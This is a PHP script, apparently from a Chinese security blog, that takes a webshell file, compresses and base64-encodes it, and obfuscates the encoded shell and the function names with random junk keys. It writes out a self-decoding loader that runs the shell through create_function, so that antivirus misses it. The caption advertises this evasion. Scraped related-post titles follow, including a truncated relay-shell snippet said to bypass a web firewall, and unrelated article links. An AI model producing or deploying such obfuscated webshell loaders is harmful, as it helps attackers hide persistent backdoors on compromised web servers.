<?php

/****************************************
*author: L.N.
*blog : [url]http://lanu.sinaapp.com[/url]
*date : 2014.01.03
*****************************************/
$Key = "";
$YourShell = file_get_contents("1.php");
if($YourShell == null){
echo "not find content!";
}
$En_Base64 = base64_encode(gzdeflate($YourShell));
$Lm_File = fopen('lm.php',"a+");
$Lm_YourShell = Encode($En_Base64,2, &$Key);
$Lm_YourShell_Key = $Key;
fwrite($Lm_File,"<?php \n/* code by L.N. [url]http://lanu.sinaapp.com[/url] */\n");
fwrite($Lm_File,'$co ="'.$Lm_YourShell.'";'."\n");
$Lm_Str_Replace = Encode('str_replace', 2, &$Key);
$Lm_Str_Replace_Key = $Key;
fwrite($Lm_File,'$sr = str_replace("'.$Lm_Str_Replace_Key.'","","'.$Lm_Str_Replace.'");'."\n");
$Lm_Base64_Decode = Encode('base64_decode',2, &$Key);
$Lm_Base64_Decode_Key = $Key;
fwrite($Lm_File,'$bd = $sr("'.$Lm_Base64_Decode_Key.'","","'.$Lm_Base64_Decode.'");'."\n");
$Lm_Gzinflate = Encode('gzinflate',2, &$Key);
$Lm_Gzinflate_Key = $Key;
fwrite($Lm_File,'$ge = $sr("'.$Lm_Gzinflate_Key.'","","'.$Lm_Gzinflate.'");'."\n");
$Lm_Create_Cunction = Encode('create_function',2, &$Key);
$Lm_Create_Cunction_Key = $Key;
fwrite($Lm_File,'$cc = $sr("'.$Lm_Create_Cunction_Key.'","","'.$Lm_Create_Cunction.'");'."\n");
fwrite($Lm_File,'$ex = $cc("",$ge($bd($sr("'.$Lm_YourShell_Key.'","",$co))));'."\n");
fwrite($Lm_File,'$ex();'."\n");
fwrite($Lm_File,'?>'."\n");
fclose($Lm_File);
function Encode($Str, $Key_Num, &$Key)
{
do{
$Key = RandString($Key_Num);
}while(strpos($Str, $Key) !== false);
return InsertString($Str,$Key,$Key_Num);
} function RandString($Num)
{
$Str = 'abcdefghijklmnopqrstuvwxyz';
$Out_Str = "";
for($i=0;$i<$Num;$i++)
{
$Rand = rand(0,25);
$Out_Str .= $Str[$Rand];
}
return $Out_Str;
}
function InsertString($Str, $Key, $Key_Num)
{
$Str_Len = strlen($Str);
if(intval($Str_Len/20) >= 5)
{
$Str_Rand_Num = 20;
}
elseif(intval($Str_Len/10) >= 5)
{
$Str_Rand_Num = 10;
}
elseif(intval($Str_Len/5) >= 5)
{
$Str_Rand_Num = 5;
}
else
{
$Str_Rand_Num = 2;
}
$Arr_Str = str_split($Str, $Str_Rand_Num);
if($Key_Num > $Str_Rand_Num)
{
echo "Key_Num is not greater than Str_Rand_Num";exit;
}
for($i=1;$i<count($Arr_Str);$i++)
{
$Check_Str = $Arr_Str[$i-1] . $Key . $Arr_Str[$i];
if(strpos($Check_Str,$Key)<strlen($Arr_Str[$i-1])||strpos(strrev($Check_Str),strrev($Key))<strlen($Arr_Str[$i]))
{
continue;
}
else
{
$Arr_Str[$i-1] .= $Key;
}
}
$Out_Str = implode($Arr_Str);
return $Out_Str;
}
?>

一个PHP加密脚本,达到一定免杀效果的更多相关文章

  1. php中转菜刀脚本过狗免杀

    <?php $target="url";//shell 地址 菜刀连这个脚本做中转 $post=''; $i=0; foreach($_POST AS $K=>$V) ...

  2. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  3. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  4. 2018-2019-2 网络对抗技术 20165328 Exp3 免杀原理与实践

    一.实验要求: . 实践内容(.5分) .5分),msfvenom生成如jar之类的其他文件(.5分),veil-evasion(.5分),加壳工具(.5分),使用shellcode编程(1分) .5 ...

  5. 2018-2019-2 网络对抗技术 20165323 Exp3 免杀原理与实践

    一.实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应用各种技术实现恶意代码免杀 ( ...

  6. 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5

    <网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...

  7. 20164301 Exp3 免杀原理与实践

    Exp3 免杀原理与实践  1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应 ...

  8. 2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践 实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

  9. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

随机推荐

  1. Python xml 解析百度糯米信息

    先利用爬虫利用百度糯米提供的api来采集北京当天的团购信息,保存为numi.html import xml.etree.ElementTree as ET import os class Nuomi( ...

  2. [ASP.NET] Http协议GET与POST

    引言 HTTP 协议我想任何IT人士都耳熟能详了,大家都能说出个所以然来.但是如果我问你HTTP协议的请求方法有哪些?POST与GET的差异?GET或POST传送数据量的大小有限制吗?HTTP响应的状 ...

  3. Windows防火墙出站、入站相关知识总结

    出站默认是全部允许,只禁止相关出站规则指定的条目:入站默认是全部禁止,只允许相关入站规则指定的条目. 入站规则其实没什么好说的,直接添加规则允许某IP或端口访问,或允许某程序全部访问,就行了. 要控制 ...

  4. Apache 日志分析(一)

    日志格式: 101.38.166.177 – – [10/Jun/2016:14:19:19 +0800] “POST /wp-admin/admin-ajax.php HTTP/1.1” 200 1 ...

  5. revel + swagger 文档也能互动啦

    beego 从 1.3 后开始支持自动化API文档,不过,目测比较复杂,一直期望 revel 能有官方支持. revel 确实已经有了官方支持的计划,有可能将在 0.14 版本支持,现在才 0.11. ...

  6. Java类加载的时机_4种主动引用会触犯类加载+剩下的被动引用不会触发类的加载

    转载自:http://chenzhou123520.iteye.com/blog/1597597 Java虚拟机规范没有强制性约束在什么时候开始类加载过程,但是对于初始化阶段,虚拟机规范则严格规定了有 ...

  7. 页面多语系自动切换-.resx

    实现这个需要应用到微软提供的本地资源文件Resources,实际上就是一种key  value的形式. 语言自动切换原理有两种 读取浏览器的语言首选项 根据IP网段进行识别.比如有的人通过VPN连接到 ...

  8. 使用strtotime和mktime时参数为0时返回1999-11-30的时间戳问题

    先看例子 代码如下 复制代码 <?php $time = date('Y-m-d',strtotime('00-00-00 00:00:00')); echo $time; //输出 1999- ...

  9. Lambda表达式的本质是匿名函数

    1.委托的简介: 委托可以简单的理解为方法的列表,添加的方法的参数类型,个数,顺序必须和委托一致, 也就是说委托起到了托管方法的作用,并且约束了要调用的方法. //1声明委托 public deleg ...

  10. MiZ702学习笔记13——ZYNQ通过AXI-Lite与PL交互

    在<MiZ702学习笔记7——尝试自制带总线IP>,我曾提到了AXI4-Lite的简单用法,驱动了下流水灯,只涉及到了写总线.今天,我想利用之前的VGA模块,将AXI4-Lite的读写都应 ...